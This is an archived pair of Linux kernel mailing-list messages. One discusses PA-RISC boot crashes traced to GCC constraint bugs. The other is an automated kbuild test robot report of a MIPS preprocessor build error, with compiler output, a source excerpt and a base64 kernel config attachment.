NNTP-Posting-Date: Mon, 16 May 2016 21:42:01 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, linux-block@vger.kernel.org,
	linux-scsi@vger.kernel.org
To: Meelis Roos <mroos@linux.ee>, Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon May 16 23:41:47 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1b2QGp-00068n-28
	for glpp-linux-parisc@plane.gmane.org; Mon, 16 May 2016 23:41:47 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751576AbcEPVlq (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 16 May 2016 17:41:46 -0400
Original-Received: from belmont79srvr.owm.bell.net ([184.150.200.79]:48769 "EHLO
	mtlfep01.bell.net" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
	with ESMTP id S1751368AbcEPVlq (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 16 May 2016 17:41:46 -0400
Original-Received: from bell.net mtlfep01 184.150.200.30 by mtlfep01.bell.net
          with ESMTP
          id <20160516214144.DPWM15641.mtlfep01.bell.net@mtlspm01.bell.net>;
          Mon, 16 May 2016 17:41:44 -0400
Original-Received: from [192.168.0.122] (really [67.70.69.217]) by mtlspm01.bell.net
          with ESMTP
          id <20160516214144.BCMX16461.mtlspm01.bell.net@[192.168.0.122]>;
          Mon, 16 May 2016 17:41:44 -0400
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:45.0) Gecko/20100101
 Thunderbird/45.0
In-Reply-To: <alpine.LRH.2.20.1605162336050.12607@math.ut.ee>
X-Opwv-CommTouchExtSvcRefID: str=0001.0A020205.573A3E98.019F,ss=1,re=0.000,recu=0.000,reip=0.000,cl=1,cld=1,fgs=0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26771 gmane.linux.scsi:113687
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26771>

On 2016-05-16 4:40 PM, Meelis Roos wrote:
>>> I noticed on RP3440 and A500 that recent 4.4-rc* crashes on boot.
>> >
>> >I've not seen it with 4.4-rc yet, but I've seen it on debian kernel 4.3.3:
> This is still present in 4.6, just tested. All my pariscs are broken
> - A500, RP3410, RP3440. 4.3 is the latest working release for me. If
> 4.3.3 is broken, it might be possible to bisect more easily.

I believe this is fixed in current gcc versions (4.9 and latter). It was 
exposed by a blk-merge
change.  It was fixed by this change:

2016-03-17  John David Anglin  <danglin@gcc.gnu.org>

         PR target/70188
         * config/pa/constraints.md: Revert 2015-02-13 change.  Use
         define_constraint for "Q" and "T" constraints.

However, this caused a different problem fixed here:

2016-04-05  John David Anglin  <danglin@gcc.gnu.org>

         * config/pa/predicates.md (integer_store_memory_operand): Accept
         REG+D operands with a large offset when reload_in_progress is true.
         (floating_point_store_memory_operand): Likewise.

Dave

-- 
John David Anglin  dave.anglin@bell.net

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: kbuild test robot <lkp-ral2JQCrhuEAvxtiuMwx3w@public.gmane.org>
Newsgroups: gmane.linux.kernel.metag,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.arm.kernel,gmane.linux.ports.mips.general,gmane.linux.ports.openrisc,gmane.linux.ports.parisc,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc
Subject: Re: [patch V3] lib: GCD: add binary GCD algorithm
Date: Fri, 20 May 2016 18:27:33 +0800
Lines: 468
Approved: news@gmane.org
Message-ID: <201605201833.ecqQBWwU%fengguang.wu@intel.com>
References: <1461843824-19853-1-git-send-email-zengzhaoxiu@163.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="mP3DRpeJDSE+ciuQ"
X-Trace: ger.gmane.org 1463740119 22844 80.91.229.3 (20 May 2016 10:28:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 20 May 2016 10:28:39 +0000 (UTC)
Cc: kbuild-all-JC7UmRfGjtg@public.gmane.org, akpm-de/tnXTf+JLsfHDXvbKv3WD2FQJk+8+b@public.gmane.org, linux-gpGsJRJZ3PBBDgjK7y7TUQ@public.gmane.org,
	peterz-wEGCiKHe2LqWVfeAwA7xHQ@public.gmane.org, Zhaoxiu Zeng <zhaoxiu.zeng-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>,
	Richard Henderson <rth-hL46jP5Bxq7R7s880joybQ@public.gmane.org>,
	Ivan Kokshaysky <ink-biIs/Y0ymYJMZLIVYojuPNP0rXTJTi09@public.gmane.org>,
	Matt Turner <mattst88-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>,
	Russell King <linux-lFZ/pmaqli7XmaaqVzeoHQ@public.gmane.org>,
	Yoshinori Sato <ysato-Rn4VEauK+AKRv+LV9MX5uooqe+aC9MnS@public.gmane.org>,
	Geert Uytterhoeven <geert-Td1EMuHUCqxL1ZNQvxDV9g@public.gmane.org>,
	James Hogan <james.hogan-1AXoQHu6uovQT0dZR+AlfA@public.gmane.org>,
	Michal Simek <monstr-pSz03upnqPeHXe+LvDLADg@public.gmane.org>,
	Ralf Baechle <ralf-6z/3iImG2C8G8FEW9MqTrA@public.gmane.org>,
	Ley Foon Tan <lftan-EIB2kfCEclfQT0dZR+AlfA@public.gmane.org>,
	Jonas Bonn <jonas-A9uVI2HLR7kOP4wsBPIw7w@public.gmane.org>,
	"James E.J. Bottomley" <jejb-6jwH94ZQLHl74goWV3ctuw@public.gmane.org>,
	Helge Deller <deller-Mmb7MZpHnFY@public.gmane.org>,
	Chen Liqin <liqin.linux-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>,
	Lennox Wu <lennox.wu-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>, Rich Felker <dalias-8zAoT0mYgF4@public.gmane.org>,
	"David S. Miller" <davem-fT/PcQaiUtIeIZ0/mPfg9Q@public.gmane.org>,
	linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-alpha-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-arm-kernel-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org,
	uclinux-h8-devel@li
To: zengzhaoxiu-9Onoh4P/yGk@public.gmane.org
Original-X-From: linux-metag-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org Fri May 20 12:28:29 2016
Return-path: <linux-metag-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>
Envelope-to: glkm-linux-metag-wOFGN7rlS/M9smdsby/KFg@public.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-metag-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>)
	id 1b3hfP-00011M-K9
	for glkm-linux-metag-wOFGN7rlS/M9smdsby/KFg@public.gmane.org; Fri, 20 May 2016 12:28:28 +0200
Original-Received: (majordomo-u79uwXL29TY76Z2rM5mHXA@public.gmane.org) by vger.kernel.org via listexpand
	id S1755576AbcETK20 (ORCPT <rfc822;glkm-linux-metag@m.gmane.org>);
	Fri, 20 May 2016 06:28:26 -0400
Original-Received: from mga01.intel.com ([192.55.52.88]:56812 "EHLO mga01.intel.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1755512AbcETK2Y (ORCPT <rfc822;linux-metag-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>);
	Fri, 20 May 2016 06:28:24 -0400
Original-Received: from fmsmga002.fm.intel.com ([10.253.24.26])
  by fmsmga101.fm.intel.com with ESMTP; 20 May 2016 03:28:23 -0700
X-ExtLoop1: 1
X-IronPort-AV: E=Sophos;i="5.26,339,1459839600"; 
   d="gz'50?scan'50,208,50";a="985224833"
Original-Received: from bee.sh.intel.com (HELO bee) ([10.239.97.14])
  by fmsmga002.fm.intel.com with ESMTP; 20 May 2016 03:28:16 -0700
Original-Received: from kbuild by bee with local (Exim 4.83)
	(envelope-from <fengguang.wu-ral2JQCrhuEAvxtiuMwx3w@public.gmane.org>)
	id 1b3hfA-0008gl-D6; Fri, 20 May 2016 18:28:12 +0800
Content-Disposition: inline
In-Reply-To: <1461843824-19853-1-git-send-email-zengzhaoxiu-9Onoh4P/yGk@public.gmane.org>
User-Agent: Mutt/1.5.23 (2014-03-12)
X-SA-Exim-Connect-IP: <locally generated>
X-SA-Exim-Mail-From: fengguang.wu-ral2JQCrhuEAvxtiuMwx3w@public.gmane.org
X-SA-Exim-Scanned: No (on bee); SAEximRunCond expanded to false
Original-Sender: linux-metag-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Precedence: bulk
List-ID: <linux-metag.vger.kernel.org>
X-Mailing-List: linux-metag-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Xref: news.gmane.org gmane.linux.kernel.metag:1091 gmane.linux.kernel:2225099 gmane.linux.ports.alpha:3729 gmane.linux.ports.arm.kernel:501005 gmane.linux.ports.mips.general:54716 gmane.linux.ports.openrisc:726 gmane.linux.ports.parisc:26772 gmane.linux.ports.sh.devel:54040 gmane.linux.ports.sparc:22967
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.metag/1091>


--mP3DRpeJDSE+ciuQ
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline

Hi,

[auto build test ERROR on v4.6-rc5]
[cannot apply to next-20160519]
[if your patch is applied to the wrong git tree, please drop us a note to help improve the system]

url:    https://github.com/0day-ci/linux/commits/zengzhaoxiu-163-com/lib-GCD-add-binary-GCD-algorithm/20160428-195527
config: mips-jz4740 (attached as .config)
compiler: mips-linux-gnu-gcc (Debian 5.3.1-8) 5.3.1 20160205
reproduce:
        wget https://git.kernel.org/cgit/linux/kernel/git/wfg/lkp-tests.git/plain/sbin/make.cross -O ~/bin/make.cross
        chmod +x ~/bin/make.cross
        # save the attached .config to linux build tree
        make.cross ARCH=mips 

Note: the linux-review/zengzhaoxiu-163-com/lib-GCD-add-binary-GCD-algorithm/20160428-195527 HEAD 35e1a24e8fc3a5308b053ed3c744f02ec2a76820 builds fine.
      It only hurts bisectibility.

All errors (new ones prefixed by >>):

   In file included from arch/mips/include/asm/bitops.h:21:0,
                    from include/linux/bitops.h:36,
                    from include/linux/kernel.h:10,
                    from include/asm-generic/bug.h:13,
                    from arch/mips/include/asm/bug.h:41,
                    from include/linux/bug.h:4,
                    from include/linux/page-flags.h:9,
                    from kernel/bounds.c:9:
   arch/mips/include/asm/cpu-features.h:205:28: warning: "cpu_data" is not defined [-Wundef]
    # define cpu_has_mips32r6 (cpu_data[0].isa_level & MIPS_CPU_ISA_M32R6)
                               ^
   arch/mips/include/asm/cpu-features.h:241:5: note: in expansion of macro 'cpu_has_mips32r6'
        cpu_has_mips32r6 | cpu_has_mips64r1 | \
        ^
   arch/mips/include/asm/cpu-features.h:289:25: note: in expansion of macro 'cpu_has_mips_r'
    #define cpu_has_clo_clz cpu_has_mips_r
                            ^
   arch/mips/include/asm/cpu-features.h:291:6: note: in expansion of macro 'cpu_has_clo_clz'
    #if !cpu_has_clo_clz
         ^
>> arch/mips/include/asm/cpu-features.h:205:36: error: token "[" is not valid in preprocessor expressions
    # define cpu_has_mips32r6 (cpu_data[0].isa_level & MIPS_CPU_ISA_M32R6)
                                       ^
   arch/mips/include/asm/cpu-features.h:241:5: note: in expansion of macro 'cpu_has_mips32r6'
        cpu_has_mips32r6 | cpu_has_mips64r1 | \
        ^
   arch/mips/include/asm/cpu-features.h:289:25: note: in expansion of macro 'cpu_has_mips_r'
    #define cpu_has_clo_clz cpu_has_mips_r
                            ^
   arch/mips/include/asm/cpu-features.h:291:6: note: in expansion of macro 'cpu_has_clo_clz'
    #if !cpu_has_clo_clz
         ^
   make[2]: *** [kernel/bounds.s] Error 1
   make[2]: Target '__build' not remade because of errors.
   make[1]: *** [prepare0] Error 2
   make[1]: Target 'prepare' not remade because of errors.
   make: *** [sub-make] Error 2

vim +205 arch/mips/include/asm/cpu-features.h

0401572a include/asm-mips/cpu-features.h      Ralf Baechle      2005-12-09  199  # define cpu_has_mips32r1	(cpu_data[0].isa_level & MIPS_CPU_ISA_M32R1)
0401572a include/asm-mips/cpu-features.h      Ralf Baechle      2005-12-09  200  #endif
0401572a include/asm-mips/cpu-features.h      Ralf Baechle      2005-12-09  201  #ifndef cpu_has_mips32r2
0401572a include/asm-mips/cpu-features.h      Ralf Baechle      2005-12-09  202  # define cpu_has_mips32r2	(cpu_data[0].isa_level & MIPS_CPU_ISA_M32R2)
0401572a include/asm-mips/cpu-features.h      Ralf Baechle      2005-12-09  203  #endif
34c56fc1 arch/mips/include/asm/cpu-features.h Leonid Yegoshin   2014-11-13  204  #ifndef cpu_has_mips32r6
34c56fc1 arch/mips/include/asm/cpu-features.h Leonid Yegoshin   2014-11-13 @205  # define cpu_has_mips32r6	(cpu_data[0].isa_level & MIPS_CPU_ISA_M32R6)
34c56fc1 arch/mips/include/asm/cpu-features.h Leonid Yegoshin   2014-11-13  206  #endif
0401572a include/asm-mips/cpu-features.h      Ralf Baechle      2005-12-09  207  #ifndef cpu_has_mips64r1
0401572a include/asm-mips/cpu-features.h      Ralf Baechle      2005-12-09  208  # define cpu_has_mips64r1	(cpu_data[0].isa_level & MIPS_CPU_ISA_M64R1)
0401572a include/asm-mips/cpu-features.h      Ralf Baechle      2005-12-09  209  #endif
0401572a include/asm-mips/cpu-features.h      Ralf Baechle      2005-12-09  210  #ifndef cpu_has_mips64r2
0401572a include/asm-mips/cpu-features.h      Ralf Baechle      2005-12-09  211  # define cpu_has_mips64r2	(cpu_data[0].isa_level & MIPS_CPU_ISA_M64R2)
0401572a include/asm-mips/cpu-features.h      Ralf Baechle      2005-12-09  212  #endif
34c56fc1 arch/mips/include/asm/cpu-features.h Leonid Yegoshin   2014-11-13  213  #ifndef cpu_has_mips64r6
34c56fc1 arch/mips/include/asm/cpu-features.h Leonid Yegoshin   2014-11-13  214  # define cpu_has_mips64r6	(cpu_data[0].isa_level & MIPS_CPU_ISA_M64R6)
34c56fc1 arch/mips/include/asm/cpu-features.h Leonid Yegoshin   2014-11-13  215  #endif
0401572a include/asm-mips/cpu-features.h      Ralf Baechle      2005-12-09  216  
0401572a include/asm-mips/cpu-features.h      Ralf Baechle      2005-12-09  217  /*
0401572a include/asm-mips/cpu-features.h      Ralf Baechle      2005-12-09  218   * Shortcuts ...
0401572a include/asm-mips/cpu-features.h      Ralf Baechle      2005-12-09  219   */
08a07904 arch/mips/include/asm/cpu-features.h Ralf Baechle      2014-04-19  220  #define cpu_has_mips_2_3_4_5	(cpu_has_mips_2 | cpu_has_mips_3_4_5)
08a07904 arch/mips/include/asm/cpu-features.h Ralf Baechle      2014-04-19  221  #define cpu_has_mips_3_4_5	(cpu_has_mips_3 | cpu_has_mips_4_5)
08a07904 arch/mips/include/asm/cpu-features.h Ralf Baechle      2014-04-19  222  #define cpu_has_mips_4_5	(cpu_has_mips_4 | cpu_has_mips_5)
08a07904 arch/mips/include/asm/cpu-features.h Ralf Baechle      2014-04-19  223  
08a07904 arch/mips/include/asm/cpu-features.h Ralf Baechle      2014-04-19  224  #define cpu_has_mips_2_3_4_5_r	(cpu_has_mips_2 | cpu_has_mips_3_4_5_r)
08a07904 arch/mips/include/asm/cpu-features.h Ralf Baechle      2014-04-19  225  #define cpu_has_mips_3_4_5_r	(cpu_has_mips_3 | cpu_has_mips_4_5_r)
08a07904 arch/mips/include/asm/cpu-features.h Ralf Baechle      2014-04-19  226  #define cpu_has_mips_4_5_r	(cpu_has_mips_4 | cpu_has_mips_5_r)
08a07904 arch/mips/include/asm/cpu-features.h Ralf Baechle      2014-04-19  227  #define cpu_has_mips_5_r	(cpu_has_mips_5 | cpu_has_mips_r)
08a07904 arch/mips/include/asm/cpu-features.h Ralf Baechle      2014-04-19  228  
2d83fea7 arch/mips/include/asm/cpu-features.h Maciej W. Rozycki 2015-04-03  229  #define cpu_has_mips_3_4_5_64_r2_r6					\
2d83fea7 arch/mips/include/asm/cpu-features.h Maciej W. Rozycki 2015-04-03  230  				(cpu_has_mips_3 | cpu_has_mips_4_5_64_r2_r6)
2d83fea7 arch/mips/include/asm/cpu-features.h Maciej W. Rozycki 2015-04-03  231  #define cpu_has_mips_4_5_64_r2_r6					\
2d83fea7 arch/mips/include/asm/cpu-features.h Maciej W. Rozycki 2015-04-03  232  				(cpu_has_mips_4_5 | cpu_has_mips64r1 |	\
2d83fea7 arch/mips/include/asm/cpu-features.h Maciej W. Rozycki 2015-04-03  233  				 cpu_has_mips_r2 | cpu_has_mips_r6)
08a07904 arch/mips/include/asm/cpu-features.h Ralf Baechle      2014-04-19  234  
34c56fc1 arch/mips/include/asm/cpu-features.h Leonid Yegoshin   2014-11-13  235  #define cpu_has_mips32	(cpu_has_mips32r1 | cpu_has_mips32r2 | cpu_has_mips32r6)
34c56fc1 arch/mips/include/asm/cpu-features.h Leonid Yegoshin   2014-11-13  236  #define cpu_has_mips64	(cpu_has_mips64r1 | cpu_has_mips64r2 | cpu_has_mips64r6)
0401572a include/asm-mips/cpu-features.h      Ralf Baechle      2005-12-09  237  #define cpu_has_mips_r1 (cpu_has_mips32r1 | cpu_has_mips64r1)
0401572a include/asm-mips/cpu-features.h      Ralf Baechle      2005-12-09  238  #define cpu_has_mips_r2 (cpu_has_mips32r2 | cpu_has_mips64r2)
34c56fc1 arch/mips/include/asm/cpu-features.h Leonid Yegoshin   2014-11-13  239  #define cpu_has_mips_r6	(cpu_has_mips32r6 | cpu_has_mips64r6)
c46b302b arch/mips/include/asm/cpu-features.h Ralf Baechle      2008-10-28  240  #define cpu_has_mips_r	(cpu_has_mips32r1 | cpu_has_mips32r2 | \
34c56fc1 arch/mips/include/asm/cpu-features.h Leonid Yegoshin   2014-11-13 @241  			 cpu_has_mips32r6 | cpu_has_mips64r1 | \
34c56fc1 arch/mips/include/asm/cpu-features.h Leonid Yegoshin   2014-11-13  242  			 cpu_has_mips64r2 | cpu_has_mips64r6)
34c56fc1 arch/mips/include/asm/cpu-features.h Leonid Yegoshin   2014-11-13  243  
34c56fc1 arch/mips/include/asm/cpu-features.h Leonid Yegoshin   2014-11-13  244  /* MIPSR2 and MIPSR6 have a lot of similarities */

:::::: The code at line 205 was first introduced by commit
:::::: 34c56fc1c167facc375d927687df0a3891d164ac MIPS: asm: cpu: Add MIPSR6 ISA definitions

:::::: TO: Leonid Yegoshin <Leonid.Yegoshin-1AXoQHu6uovQT0dZR+AlfA@public.gmane.org>
:::::: CC: Markos Chandras <markos.chandras-1AXoQHu6uovQT0dZR+AlfA@public.gmane.org>

---
0-DAY kernel test infrastructure                Open Source Technology Center
https://lists.01.org/pipermail/kbuild-all                   Intel Corporation

--mP3DRpeJDSE+ciuQ
Content-Type: application/octet-stream
Content-Disposition: attachment; filename=".config.gz"
Content-Transfer-Encoding: base64

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
